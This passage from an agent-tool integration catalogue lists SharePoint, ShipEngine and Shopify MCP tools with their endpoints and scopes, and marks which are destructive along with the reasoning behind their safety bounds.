report that read EMEA yesterday reads whatever you type today, in every library at once, with no per-site override and no notification to anyone. PATCH /api/v1/tools/sharepoint/term-store/term. Scopes: TermStore.ReadWrite.All. sharepoint_update_term_set (write, destructive) — DESTRUCTIVE AND TENANT-WIDE, AND NEEDS A NEW ADMIN CONSENT GRANT (TermStore.ReadWrite.All). A term set name is what people see in the column picker on every site that uses it. Renaming does not break stored values, which are bound by identifier rather than by name, but it changes the label everywhere at once and there is no per-site override. PATCH /api/v1/tools/sharepoint/term-store/set. Scopes: TermStore.ReadWrite.All. sharepoint_update_term_store (write, destructive) — DESTRUCTIVE AND TENANT-WIDE, AND NEEDS A NEW ADMIN CONSENT GRANT (TermStore.ReadWrite.All). The widest write in the taxonomy family: removing a language tag makes every localised term name in that language unreachable, across every site in the tenant at once, and there is no per-site version of this setting to limit it. Sending a shorter list of language tags REMOVES the ones left out. PATCH /api/v1/tools/sharepoint/term-store. Scopes: TermStore.ReadWrite.All. sharepoint_upload_file (write, destructive) — DESTRUCTIVE — upload a file into a document library folder. Microsoft Graph simple upload is an UPSERT: a file already at that path is REPLACED rather than rejected. Document libraries version by default so the previous content usually survives in history, but a library with versioning off loses it. Goes beyond microsoft_onedrive_write_sharepoint_file, which can only write to the library root. PUT /api/v1/tools/sharepoint/library/files. Scopes: Sites.ReadWrite.All. sharepoint_upload_large_file (write, destructive) — DESTRUCTIVE when conflict_behavior is replace — upload a document through a resumable, chunked upload session, which is the only supported way past Microsoft 250 MB simple-upload ceiling. The default here is FAIL rather than the plain upload silent upsert: a large upload is exactly where I did not realise it would overwrite is most expensive, so replacing has to be asked for by name. A failed session is cancelled rather than left holding partial content. POST /api/v1/tools/sharepoint/library/files/large. Scopes: Sites.ReadWrite.All. ================================================================================ ## ShipEngine URL: https://www.agenticfabriq.com/integrations/shipengine Section: Integrated Tools ShipEngine — 96 MCP tools Provider key: shipengine. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. shipengine_delete_v1_account_settings_images_by_label_image_id (write, destructive) — Delete Account Image By Id via DELETE /v1/account/settings/images/{label_image_id} DELETE /api/v1/shipengine/v1/account/settings/images/{label_image_id}. Scopes: api. shipengine_delete_v1_batches_by_batch_id (write, destructive) — Delete Batch By Id via DELETE /v1/batches/{batch_id} DELETE /api/v1/shipengine/v1/batches/{batch_id}. Scopes: api. shipengine_delete_v1_carriers_by_carrier_id (write, destructive) — Disconnect a Carrier of the given ID from the account via DELETE /v1/carriers/{carrier_id} DELETE /api/v1/shipengine/v1/carriers/{carrier_id}. Scopes: api. shipengine_delete_v1_connections_carriers_by_carrier_name_by_carrier_id (write, destructive) — Disconnect a carrier via DELETE /v1/connections/carriers/{carrier_name}/{carrier_id} DELETE /api/v1/shipengine/v1/connections/carriers/{carrier_name}/{carrier_id}. Scopes: api. shipengine_delete_v1_connections_insurance_shipsurance (write, destructive) — Disconnect a Shipsurance Account via DELETE /v1/connections/insurance/shipsurance DELETE /api/v1/shipengine/v1/connections/insurance/shipsurance. Scopes: api. shipengine_delete_v1_environment_webhooks_by_webhook_id (write, destructive) — Delete a webhook via DELETE /v1/environment/webhooks/{webhook_id} DELETE /api/v1/shipengine/v1/environment/webhooks/{webhook_id}. Scopes: api. shipengine_delete_v1_packages_by_package_id (write, destructive) — Delete a custom package using the ID via DELETE /v1/packages/{package_id} DELETE /api/v1/shipengine/v1/packages/{package_id}. Scopes: api. shipengine_delete_v1_pickups_by_pickup_id (write, destructive) — Delete a previously-scheduled pickup by ID via DELETE /v1/pickups/{pickup_id} DELETE /api/v1/shipengine/v1/pickups/{pickup_id}. Scopes: api. shipengine_delete_v1_shipments_by_shipment_id_tags_by_tag_name (write, destructive) — Remove an existing tag from the Shipment object via DELETE /v1/shipments/{shipment_id}/tags/{tag_name} DELETE /api/v1/shipengine/v1/shipments/{shipment_id}/tags/{tag_name}. Scopes: api. shipengine_delete_v1_tags_by_tag_name (write, destructive) — Delete a tag that is no longer needed via DELETE /v1/tags/{tag_name} DELETE /api/v1/shipengine/v1/tags/{tag_name}. Scopes: api. shipengine_delete_v1_warehouses_by_warehouse_id (write, destructive) — Delete a warehouse by ID via DELETE /v1/warehouses/{warehouse_id} DELETE /api/v1/shipengine/v1/warehouses/{warehouse_id}. Scopes: api. shipengine_get_v1_account_settings (read) — List all account settings for the ShipEngine account via GET /v1/account/settings GET /api/v1/shipengine/v1/account/settings. Scopes: api. shipengine_get_v1_account_settings_images (read) — List all account images for the ShipEngine account via GET /v1/account/settings/images GET /api/v1/shipengine/v1/account/settings/images. Scopes: api. shipengine_get_v1_account_settings_images_by_label_image_id (read) — Retrieve information for an account image. via GET /v1/account/settings/images/{label_image_id} GET /api/v1/shipengine/v1/account/settings/images/{label_image_id}. Scopes: api. shipengine_get_v1_batches (read) — List Batches associated with your Shipengine account via GET /v1/batches GET /api/v1/shipengine/v1/batches. Scopes: api. shipengine_get_v1_batches_by_batch_id (read) — Get Batch By ID via GET /v1/batches/{batch_id} GET /api/v1/shipengine/v1/batches/{batch_id}. Scopes: api. shipengine_get_v1_batches_by_batch_id_errors (read) — Error handling in batches are handled differently than in a single synchronous request. You must retrieve the status of your batch by [getting a batch](https://www.shipengine.com/docs/reference/get-batch-by-id/) and getting an overview of the statuses or you can list errors directly here below to get detailed information about the errors. via GET /v1/batches/{batch_id}/errors GET /api/v1/shipengine/v1/batches/{batch_id}/errors. Scopes: api. shipengine_get_v1_batches_external_batch_id_by_external_batch_id (read) — Get Batch By External ID via GET /v1/batches/external_batch_id/{external_batch_id} GET /api/v1/shipengine/v1/batches/external_batch_id/{external_batch_id}. Scopes: api. shipengine_get_v1_carriers (read) — List all carriers that have been added to this account via GET /v1/carriers GET /api/v1/shipengine/v1/carriers. Scopes: api. shipengine_get_v1_carriers_by_carrier_id (read) — Retrive carrier info by ID via GET /v1/carriers/{carrier_id} GET /api/v1/shipengine/v1/carriers/{carrier_id}. Scopes: api. shipengine_get_v1_carriers_by_carrier_id_options (read) — Get a list of the options available for the carrier via GET /v1/carriers/{carrier_id}/options GET /api/v1/shipengine/v1/carriers/{carrier_id}/options. Scopes: api. shipengine_get_v1_carriers_by_carrier_id_packages (read) — List the package types associated with the carrier via GET /v1/carriers/{carrier_id}/packages GET /api/v1/shipengine/v1/carriers/{carrier_id}/packages. Scopes: api. shipengine_get_v1_carriers_by_carrier_id_services (read) — List the services associated with the carrier ID via GET /v1/carriers/{carrier_id}/services GET /api/v1/shipengine/v1/carriers/{carrier_id}/services. Scopes: api. shipengine_get_v1_connections_carriers_by_carrier_name_by_carrier_id_settings (read) — Get carrier settings via GET /v1/connections/carriers/{carrier_name}/{carrier_id}/settings GET /api/v1/shipengine/v1/connections/carriers/{carrier_name}/{carrier_id}/settings. Scopes: api. shipengine_get_v1_environment_webhooks (read) — List all webhooks currently enabled for the account. via GET /v1/environment/webhooks GET /api/v1/shipengine/v1/environment/webhooks. Scopes: api. shipengine_get_v1_environment_webhooks_by_webhook_id (read) — Retrieve individual webhook by an ID via GET /v1/environment/webhooks/{webhook_id} GET /api/v1/shipengine/v1/environment/webhooks/{webhook_id}. Scopes: api. shipengine_get_v1_insurance_shipsurance_balance (read) — Retrieve the balance of your Shipsurance account. via GET /v1/insurance/shipsurance/balance GET /api/v1/shipengine/v1/insurance/shipsurance/balance. Scopes: api. shipengine_get_v1_labels (read) — This endpoint returns a list of labels that you've [created](https://www.shipengine.com/docs/labels/create-a-label/). You can optionally filter the results as well as control their sort order and the number of results returned at a time. By default, all labels are returned, 25 at a time, starting with the most recently created ones. You can combine multiple filter options to narrow-down the results. For example, if you only want to get your UPS labels for your east coast warehouse you could query by both `warehouse_id` and `carrier_id` via GET /v1/labels GET /api/v1/shipengine/v1/labels. Scopes: api. shipengine_get_v1_labels_by_label_id (read) — Retrieve information for individual labels. via GET /v1/labels/{label_id} GET /api/v1/shipengine/v1/labels/{label_id}. Scopes: api. shipengine_get_v1_labels_by_label_id_track (read) — Retrieve the label's tracking information via GET /v1/labels/{label_id}/track GET /api/v1/shipengine/v1/labels/{label_id}/track. Scopes: api. shipengine_get_v1_labels_external_shipment_id_by_external_shipment_id (read) — Find a label by using the external shipment id that was used during label creation via GET /v1/labels/external_shipment_id/{external_shipment_id} GET /api/v1/shipengine/v1/labels/external_shipment_id/{external_shipment_id}. Scopes: api. shipengine_get_v1_manifests (read) — Similar to querying shipments, we allow you to query manifests since there will likely be a large number over a long period of time. via GET /v1/manifests GET /api/v1/shipengine/v1/manifests. Scopes: api. shipengine_get_v1_manifests_by_manifest_id (read) — Get Manifest By Id via GET /v1/manifests/{manifest_id} GET /api/v1/shipengine/v1/manifests/{manifest_id}. Scopes: api. shipengine_get_v1_manifests_requests_by_manifest_request_id (read) — Get Manifest Request By Id via GET /v1/manifests/requests/{manifest_request_id} GET /api/v1/shipengine/v1/manifests/requests/{manifest_request_id}. Scopes: api. shipengine_get_v1_packages (read) — List the custom package types associated with the account via GET /v1/packages GET /api/v1/shipengine/v1/packages. Scopes: api. shipengine_get_v1_packages_by_package_id (read) — Get Custom Package Type by ID via GET /v1/packages/{package_id} GET /api/v1/shipengine/v1/packages/{package_id}. Scopes: api. shipengine_get_v1_pickups (read) — List all pickups that have been scheduled for this carrier via GET /v1/pickups GET /api/v1/shipengine/v1/pickups. Scopes: api. shipengine_get_v1_pickups_by_pickup_id (read) — Get Pickup By ID via GET /v1/pickups/{pickup_id} GET /api/v1/shipengine/v1/pickups/{pickup_id}. Scopes: api. shipengine_get_v1_rates_by_rate_id (read) — Retrieve a previously queried rate by its ID via GET /v1/rates/{rate_id} GET /api/v1/shipengine/v1/rates/{rate_id}. Scopes: api. shipengine_get_v1_service_points_by_carrier_code_by_country_code_by_service_point_id (read) — Returns a carrier service point by using the service_point_id via GET /v1/service_points/{carrier_code}/{country_code}/{service_point_id} GET /api/v1/shipengine/v1/service_points/{carrier_code}/{country_code}/{service_point_id}. Scopes: api. shipengine_get_v1_shipments (read) — Get list of Shipments via GET /v1/shipments GET /api/v1/shipengine/v1/shipments. Scopes: api. shipengine_get_v1_shipments_by_shipment_id (read) — Get an individual shipment based on its ID via GET /v1/shipments/{shipment_id} GET /api/v1/shipengine/v1/shipments/{shipment_id}. Scopes: api. shipengine_get_v1_shipments_by_shipment_id_rates (read) — Get Rates for the shipment information associated with the shipment ID via GET /v1/shipments/{shipment_id}/rates GET /api/v1/shipengine/v1/shipments/{shipment_id}/rates. Scopes: api. shipengine_get_v1_shipments_by_shipment_id_tags (read) — Get Shipment tags based on its ID via GET /v1/shipments/{shipment_id}/tags GET /api/v1/shipengine/v1/shipments/{shipment_id}/tags. Scopes: api. shipengine_get_v1_shipments_external_shipment_id_by_external_shipment_id (read) — Query Shipments created using your own custom ID convention using this endpint via GET /v1/shipments/external_shipment_id/{external_shipment_id} GET /api/v1/shipengine/v1/shipments/external_shipment_id/{external_shipment_id}. Scopes: api. shipengine_get_v1_tags (read) — Get a list of all tags associated with an account. via GET /v1/tags GET /api/v1/shipengine/v1/tags. Scopes: api. shipengine_get_v1_tracking (read) — Retrieve package tracking information via GET /v1/tracking GET /api/v1/shipengine/v1/tracking. Scopes: api. shipengine_get_v1_warehouses (read) — Retrieve a list of warehouses associated with this account. via GET /v1/warehouses GET /api/v1/shipengine/v1/warehouses. Scopes: api. shipengine_get_v1_warehouses_by_warehouse_id (read) — Retrieve warehouse data based on the warehouse ID via GET /v1/warehouses/{warehouse_id} GET /api/v1/shipengine/v1/warehouses/{warehouse_id}. Scopes: api. shipengine_patch_v1_insurance_shipsurance_add_funds (write) — You may need to auto fund your account from time to time. For example, if you don't normally ship items over $100, and may want to add funds to insurance rather than keeping the account funded. via PATCH /v1/insurance/shipsurance/add_funds PATCH /api/v1/shipengine/v1/insurance/shipsurance/add_funds. Scopes: api. shipengine_post_v1_account_settings_images (write) — Create an Account Image via POST /v1/account/settings/images POST /api/v1/shipengine/v1/account/settings/images. Scopes: api. shipengine_post_v1_addresses_validate (write) — Address validation ensures accurate addresses and can lead to reduced shipping costs by preventing address correction surcharges. ShipEngine cross references multiple databases to validate addresses and identify potential deliverability issues. via POST /v1/addresses/validate POST /api/v1/shipengine/v1/addresses/validate. Scopes: api. shipengine_post_v1_batches (write) — Create a Batch via POST /v1/batches POST /api/v1/shipengine/v1/batches. Scopes: api. shipengine_post_v1_batches_by_batch_id_add (write) — Add a Shipment or Rate to a Batch via POST /v1/batches/{batch_id}/add POST /api/v1/shipengine/v1/batches/{batch_id}/add. Scopes: api. shipengine_post_v1_batches_by_batch_id_process_labels (write) — Process Batch ID Labels via POST /v1/batches/{batch_id}/process/labels POST /api/v1/shipengine/v1/batches/{batch_id}/process/labels. Scopes: api. shipengine_post_v1_batches_by_batch_id_remove (write) — Remove a shipment or rate from a batch via POST /v1/batches/{batch_id}/remove POST /api/v1/shipengine/v1/batches/{batch_id}/remove. Scopes: api. shipengine_post_v1_connections_carriers_by_carrier_name (write) — Connect a carrier account via POST /v1/connections/carriers/{carrier_name} POST /api/v1/shipengine/v1/connections/carriers/{carrier_name}. Scopes: api. shipengine_post_v1_connections_insurance_shipsurance (write) — Connect a Shipsurance Account via POST /v1/connections/insurance/shipsurance POST /api/v1/shipengine/v1/connections/insurance/shipsurance. Scopes: api. shipengine_post_v1_documents_combined_labels (write) — Download a combined label file via POST /v1/documents/combined_labels POST /api/v1/shipengine/v1/documents/combined_labels. Scopes: api. shipengine_post_v1_environment_webhooks (write) — Create a webhook for specific events in the environment. via POST /v1/environment/webhooks POST /api/v1/shipengine/v1/environment/webhooks. Scopes: api. shipengine_post_v1_labels (write) — Purchase and print a label for shipment via POST /v1/labels POST /api/v1/shipengine/v1/labels. Scopes: api. shipengine_post_v1_labels_by_label_id_cancel_refund (write) — Cancel a scheduled refund request for a label. Only labels with refund status "request_scheduled" can be excluded from an upcoming refund request. via POST /v1/labels/{label_id}/cancel_refund POST /api/v1/shipengine/v1/labels/{label_id}/cancel_refund. Scopes: api. shipengine_post_v1_labels_by_label_id_return (write) — Create a return label for an existing outbound label. You can optionally specify a custom RMA (Return Merchandise Authorization) number. If no RMA number is provided, the system will auto-generate one. via POST /v1/labels/{label_id}/return POST /api/v1/shipengine/v1/labels/{label_id}/return. Scopes: api. shipengine_post_v1_labels_rate_shopper_id_by_rate_shopper_id (write) — Purchase and print a shipping label using the Rate Shopper. The Rate Shopper automatically selects the optimal carrier and service from your wallet carriers based on your specified rate selection strategy (cheapest, fastest, or best_value). For more information about this in the [rates documentation](https://www.shipengine.com/docs/rates/#about-the-response). via POST /v1/labels/rate_shopper_id/{rate_shopper_id} POST /api/v1/shipengine/v1/labels/rate_shopper_id/{rate_shopper_id}. Scopes: api. shipengine_post_v1_labels_rates_by_rate_id (write) — When retrieving rates for shipments using the `/rates` endpoint, the returned information contains a `rate_id` property that can be used to generate a label without having to refill in the shipment information repeatedly. via POST /v1/labels/rates/{rate_id} POST /api/v1/shipengine/v1/labels/rates/{rate_id}. Scopes: api. shipengine_post_v1_labels_shipment_by_shipment_id (write) — Purchase a label using a shipment ID that has already been created with the desired address and package info. via POST /v1/labels/shipment/{shipment_id} POST /api/v1/shipengine/v1/labels/shipment/{shipment_id}. Scopes: api. shipengine_post_v1_manifests (write) — Each ShipEngine manifest is created for a specific warehouse, so you'll need to provide the warehouse_id rather than the ship_from address. You can create a warehouse for each location that you want to create manifests for. via POST /v1/manifests POST /api/v1/shipengine/v1/manifests. Scopes: api. shipengine_post_v1_packages (write) — Create a custom package type to better assist in getting accurate rate estimates via POST /v1/packages POST /api/v1/shipengine/v1/packages. Scopes: api. shipengine_post_v1_pickups (write) — Schedule a package pickup with a carrier via POST /v1/pickups POST /api/v1/shipengine/v1/pickups. Scopes: api. shipengine_post_v1_rates (write) — It's not uncommon that you want to give your customer the choice between whether they want to ship the fastest, cheapest, or the most trusted route. Most companies don't solely ship things using a single shipping option; so we provide functionality to show you all your options! via POST /v1/rates POST /api/v1/shipengine/v1/rates. Scopes: api. shipengine_post_v1_rates_bulk (write) — Get Bulk Shipment Rates via POST /v1/rates/bulk POST /api/v1/shipengine/v1/rates/bulk. Scopes: api. shipengine_post_v1_rates_estimate (write) — Get Rate Estimates via POST /v1/rates/estimate POST /api/v1/shipengine/v1/rates/estimate. Scopes: api. shipengine_post_v1_service_points_list (write) — List carrier service points by location via POST /v1/service_points/list POST /api/v1/shipengine/v1/service_points/list. Scopes: api. shipengine_post_v1_shipments (write) — Create one or multiple shipments. via POST /v1/shipments POST /api/v1/shipengine/v1/shipments. Scopes: api. shipengine_post_v1_shipments_by_shipment_id_tags_by_tag_name (write) — Add a tag to the shipment object via POST /v1/shipments/{shipment_id}/tags/{tag_name} POST /api/v1/shipengine/v1/shipments/{shipment_id}/tags/{tag_name}. Scopes: api. shipengine_post_v1_tags (write) — Create a new tag for customizing how you track your shipments. via POST /v1/tags POST /api/v1/shipengine/v1/tags. Scopes: api. shipengine_post_v1_tags_by_tag_name (write) — Create a new tag for customizing how you track your shipments (deprecated - use POST /v1/tags instead) via POST /v1/tags/{tag_name} POST /api/v1/shipengine/v1/tags/{tag_name}. Scopes: api. shipengine_post_v1_tokens_ephemeral (write) — This endpoint returns a token that can be passed to an application for authorized access. The lifetime of this token is 10 seconds. via POST /v1/tokens/ephemeral POST /api/v1/shipengine/v1/tokens/ephemeral. Scopes: api. shipengine_post_v1_tracking_start (write) — Allows you to subscribe to tracking updates for a package. You specify the carrier_code and tracking_number of the package, and receive notifications via webhooks whenever the shipping status changes. via POST /v1/tracking/start POST /api/v1/shipengine/v1/tracking/start. Scopes: api. shipengine_post_v1_tracking_stop (write) — Unsubscribe from tracking updates for a package. via POST /v1/tracking/stop POST /api/v1/shipengine/v1/tracking/stop. Scopes: api. shipengine_post_v1_warehouses (write) — Create a warehouse location that you can use to create shipping items by simply passing in the generated warehouse id. If the return address is not supplied in the request body then it is assumed that the origin address is the return address as well via POST /v1/warehouses POST /api/v1/shipengine/v1/warehouses. Scopes: api. shipengine_put_v1_account_settings_images_by_label_image_id (write) — Update information for an account image. via PUT /v1/account/settings/images/{label_image_id} PUT /api/v1/shipengine/v1/account/settings/images/{label_image_id}. Scopes: api. shipengine_put_v1_addresses_recognize (write) — The address-recognition API makes it easy for you to extract address data from unstructured text, including the recipient name, line 1, line 2, city, postal code, and more. Data often enters your system as unstructured text (for example: emails, SMS messages, support tickets, or other documents). ShipEngine's address-recognition API helps you extract meaningful, structured data from this unstructured text. The parsed address data is returned in the same structure that's used for other ShipEngine APIs, such as address validation, rate quotes, and shipping labels. > **Note:** Address recognition is currently supported for the United States, Canada, Australia, New Zealand, the United Kingdom, and Ireland. via PUT /v1/addresses/recognize PUT /api/v1/shipengine/v1/addresses/recognize. Scopes: api. shipengine_put_v1_batches_by_batch_id (write) — Update Batch By Id via PUT /v1/batches/{batch_id} PUT /api/v1/shipengine/v1/batches/{batch_id}. Scopes: api. shipengine_put_v1_carriers_by_carrier_id_add_funds (write) — Add Funds To A Carrier via PUT /v1/carriers/{carrier_id}/add_funds PUT /api/v1/shipengine/v1/carriers/{carrier_id}/add_funds. Scopes: api. shipengine_put_v1_connections_carriers_by_carrier_name_by_carrier_id_settings (write) — Update carrier settings via PUT /v1/connections/carriers/{carrier_name}/{carrier_id}/settings PUT /api/v1/shipengine/v1/connections/carriers/{carrier_name}/{carrier_id}/settings. Scopes: api. shipengine_put_v1_environment_webhooks_by_webhook_id (write) — Update the webhook url property via PUT /v1/environment/webhooks/{webhook_id} PUT /api/v1/shipengine/v1/environment/webhooks/{webhook_id}. Scopes: api. shipengine_put_v1_labels_by_label_id_void (write) — Void a label by ID to get a refund. via PUT /v1/labels/{label_id}/void PUT /api/v1/shipengine/v1/labels/{label_id}/void. Scopes: api. shipengine_put_v1_packages_by_package_id (write) — Update the custom package type object by ID via PUT /v1/packages/{package_id} PUT /api/v1/shipengine/v1/packages/{package_id}. Scopes: api. shipengine_put_v1_shipments_by_shipment_id (write) — Update a shipment object based on its ID via PUT /v1/shipments/{shipment_id} PUT /api/v1/shipengine/v1/shipments/{shipment_id}. Scopes: api. shipengine_put_v1_shipments_by_shipment_id_cancel (write) — Mark a shipment cancelled, if it is no longer needed or being used by your organized. Any label associated with the shipment needs to be voided first An example use case would be if a batch label creation job is going to run at a set time and only queries `pending` shipments. Marking a shipment as cancelled would remove it from this process via PUT /v1/shipments/{shipment_id}/cancel PUT /api/v1/shipengine/v1/shipments/{shipment_id}/cancel. Scopes: api. shipengine_put_v1_shipments_recognize (write) — The shipment-recognition API makes it easy for you to extract shipping data from unstructured text, including people's names, addresses, package weights and dimensions, insurance and delivery requirements, and more. Data often enters your system as unstructured text (for example: emails, SMS messages, support tickets, or other documents). ShipEngine's shipment-recognition API helps you extract meaningful, structured data from this unstructured text. The parsed shipment data is returned in the same structure that's used for other ShipEngine APIs, so you can easily use the parsed data to create a shipping label. > **Note:** Shipment recognition is currently supported for the United States, Canada, Australia, New Zealand, the United Kingdom, and Ireland. via PUT /v1/shipments/recognize PUT /api/v1/shipengine/v1/shipments/recognize. Scopes: api. shipengine_put_v1_shipments_tags (write) — Update Shipments Tags via PUT /v1/shipments/tags PUT /api/v1/shipengine/v1/shipments/tags. Scopes: api. shipengine_put_v1_tags_by_tag_name_by_new_tag_name (write) — Change a tag name while still keeping the relevant shipments attached to it via PUT /v1/tags/{tag_name}/{new_tag_name} PUT /api/v1/shipengine/v1/tags/{tag_name}/{new_tag_name}. Scopes: api. shipengine_put_v1_warehouses_by_warehouse_id (write) — Update Warehouse object information via PUT /v1/warehouses/{warehouse_id} PUT /api/v1/shipengine/v1/warehouses/{warehouse_id}. Scopes: api. shipengine_put_v1_warehouses_by_warehouse_id_settings (write) — Update Warehouse settings object information via PUT /v1/warehouses/{warehouse_id}/settings PUT /api/v1/shipengine/v1/warehouses/{warehouse_id}/settings. Scopes: api. ================================================================================ ## Shopify URL: https://www.agenticfabriq.com/integrations/shopify Section: Integrated Tools Shopify — 385 MCP tools Provider key: shopify. Scopes: read_content, read_customers, read_delivery_customizations, read_discounts, read_draft_orders, read_gift_cards, read_inventory_shipments, read_inventory_transfers, read_legal_policies, read_locales, read_locations, read_marketing_events, read_markets, read_merchant_managed_fulfillment_orders, read_metaobject_definitions, read_metaobjects, read_online_store_navigation, read_orders, read_products, read_reports, read_returns, read_shipping, read_shopify_payments_disputes, read_shopify_payments_payouts, read_third_party_fulfillment_orders, read_translations, write_content, write_customers, write_delivery_customizations, write_discounts, write_draft_orders, write_fulfillments, write_gift_cards, write_inventory, write_inventory_shipments, write_inventory_shipments_received_items, write_inventory_transfers, write_locales, write_locations, write_marketing_events, write_markets, write_merchant_managed_fulfillment_orders, write_metaobject_definitions, write_metaobjects, write_online_store_navigation, write_order_edits, write_orders, write_products, write_returns, write_shipping, write_third_party_fulfillment_orders, write_translations. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. shopify_activate_discount_code (write, destructive) — DESTRUCTIVE — switch a deactivated discount code back on. The exact inverse of deactivating, and destructive in the same sense the code's creation was: it starts giving margin away again. It cannot resurrect a code past its end date. POST /api/v1/tools/shopify/discounts/activate. Scopes: write_discounts. shopify_activate_inventory (write) — Start stocking an item at a location, optionally with an opening quantity. A Shopify stock level only exists where the item has been activated; until then adjusting or setting stock there fails with a refusal that reads like a bad id. Exactly reversible by Stop stocking an item at a location. POST /api/v1/tools/shopify/inventory/activate. Scopes: write_inventory. shopify_activate_location (write) — Reactivate a deactivated location. Its id comes from shopify_find_locations with include_inactive set. The stock moved away at deactivation does not return. POST /api/v1/tools/shopify/locations/activate. Scopes: write_locations. shopify_add_customer_tax_exemptions (write) — Add TaxExemption members to a Shopify customer, keeping any they already have. From the next order the exempted tax is not collected. Reversible with shopify_remove_customer_tax_exemptions. POST /api/v1/tools/shopify/customers/tax-exemptions/add. Scopes: write_customers. shopify_add_discount_redeem_codes (write, destructive) — DESTRUCTIVE - Add extra redeem codes to an existing discount. IT MINTS CODES. One discount can carry many code strings - one per influencer, one per mailing, one per support ticket - all sharing the discount's own usage limit and end date. That shared bound is what makes this safe to expose: the codes multiply, the liability does not. THE CODES ARE EXPLICIT AND THE LIST IS CAPPED. Shopify accepts 250 in one call; this takes at most MAX_IDS_PER_CALL and takes them as strings the caller wrote, so the audit row records exactly which codes now exist. There is no "generate N random codes" argument, because that is a call whose output nobody can enumerate afterwards. ASYNCHRONOUS. The mutation returns a bulk-creation id, not the codes. Poll it with shopify_get_discount_code_batch, which reports the per-code errors - a duplicate code fails on its own without failing the batch, and nothing else would show you that. POST /api/v1/tools/shopify/discounts/codes/add. Scopes: write_discounts. shopify_add_discount_tags (write) — Tag several discounts at once. Discount tags are not decoration in 2026-07: Shopify uses them to decide *"which other product discounts can apply to the same cart line"* when a discount configures productDiscountsWithTagsOnSameCartLine. Tagging can therefore change what stacks with what. It is still not destructive - nothing is given away by the tag itself, and shopify_remove_discount_tags is the exact inverse. NO SAVED SEARCH AND NO SEARCH STRING - explicit ids only, capped at MAX_IDS_PER_CALL. Asynchronous: it returns a job. Poll it with shopify_get_job. POST /api/v1/tools/shopify/discounts/tags/add. Scopes: write_discounts. shopify_add_draft_order_tags (write) — Tag several draft orders at once. Tags are how a merchant's own workflow finds a quote again - "awaiting-po", "trade-show", "chase-friday". Not destructive: nothing is priced, charged or sent, and shopify_remove_draft_order_tags is the exact inverse. NO SAVED SEARCH AND NO SEARCH STRING. Shopify offers savedSearchId and search as alternatives to ids; neither is exposed. The effect ships via list-then-name - read the drafts with shopify_list_draft_orders, then name them. What is refused is a selector whose blast radius the caller cannot state and the audit row cannot record. Asynchronous: it returns a job. Poll it with shopify_get_job. POST /api/v1/tools/shopify/draft-orders/tags/add. Scopes: write_draft_orders. shopify_add_inventory_shipment_items (write) — Add up to 100 line items to an inventory shipment. Pass the same idempotency key when retrying, or a retry adds the quantity twice. POST /api/v1/tools/shopify/inventory/shipments/items/add. Scopes: write_inventory_shipments. shopify_add_location (write) — Create a new location with a name and an address. The country code is required. fulfills_online_orders defaults to false so the new location's stock is not immediately sellable online. POST /api/v1/tools/shopify/locations. Scopes: write_locations. shopify_add_order_edit_line_discount (write) — Discount one line of an open edit session. PERCENTAGE ONLY. PERCENTAGE ONLY, AND THAT IS THE BOUND. OrderEditAppliedDiscountInput also takes fixedValue, a cash amount the agent names against a line whose value it may not have read - unbounded in the same way a fixed cash discount code is unbounded against a small basket. A percentage cannot exceed the value of the line it is applied to, which is a structural bound rather than a policy, and it is the same one shopify_create_discount_code relies on. description is required and is not decoration: it appears on the customer's amended order as the reason they were given money off, and an unexplained discount on a real person's order is what a merchant finds three months later and cannot account for. POST /api/v1/tools/shopify/orders/edit/discounts/add. Scopes: write_order_edits. shopify_add_order_edit_variant (write) — Add a catalogue item to an open edit session. STILL NOT COMMITTED. BOUNDED BY THE MERCHANT'S OWN CATALOGUE, which is what makes it shippable where orderEditAddCustomItem is not: the price is the one the merchant set on the variant, not a figure the agent produced. shopify_create_draft_order is bounded the same way and for the same reason. Nothing has moved. The returned totals are what the customer WOULD be charged; the order is unchanged until shopify_commit_order_edit, which is the destructive step. An edit session that is never committed changes nothing. allow_duplicates defaults to false, matching Shopify: adding a variant already on the order is normally a mistake, and the right fix is shopify_set_order_edit_quantity. POST /api/v1/tools/shopify/orders/edit/add-variant. Scopes: write_order_edits. shopify_add_products_to_collection (write) — Put products into a manual collection. Exactly reversible by Remove products from a collection. Shopify applies it asynchronously and returns a job, so a successful result means Shopify accepted the change rather than that it has finished — Check a job answers that. POST /api/v1/tools/shopify/collections/products/add. Scopes: write_products. shopify_add_tags (write) — Add tags to an order, product, customer, draft order or collection — the cheapest reversible write in the API, and the standard way an agent records state that has nowhere else to live ('triaged', 'awaiting-stock'). Exactly reversible by Remove tags. Note the four scopes: Shopify's tag mutations publish no permission of their own and inherit the owner resource's, so this grant reaches every one of those resource types. Product tags are visible on the storefront and used for filtering; order and customer tags are internal. POST /api/v1/tools/shopify/tags/add. Scopes: write_orders, write_products, write_customers, write_draft_orders. shopify_adjust_inventory (write, destructive) — DESTRUCTIVE — change how many units of one item the Shopify store will SELL at one location. Dropping the figure to zero takes the item off sale immediately; raising it above what physically exists lets the store take orders that cannot be filled. The change is RELATIVE, not absolute: `delta` of -3 removes three units from whatever the current figure is, so two agents adjusting the same item both apply their change. Only the sellable `available` quantity is touched, never the physical stock count. POST /api/v1/tools/shopify/inventory/adjust. Scopes: write_inventory. shopify_approve_comment (write, destructive) — DESTRUCTIVE - approve a Shopify blog comment, publishing a member of the public's words on the merchant's storefront under the merchant's brand. shopify_mark_comment_spam takes it down again but does not retract what was already read or crawled. POST /api/v1/tools/shopify/content/comments/approve. Scopes: write_content. shopify_approve_return (write) — Approve a return the customer requested, moving it from REQUESTED to OPEN. No money moves — this is a decision about the goods, not about the refund. Its inverse, Decline a return, ships alongside it. POST /api/v1/tools/shopify/returns/approve. Scopes: write_returns. shopify_assign_shipping_origin (write) — Set the location the store's shipping rates are quoted from. POST 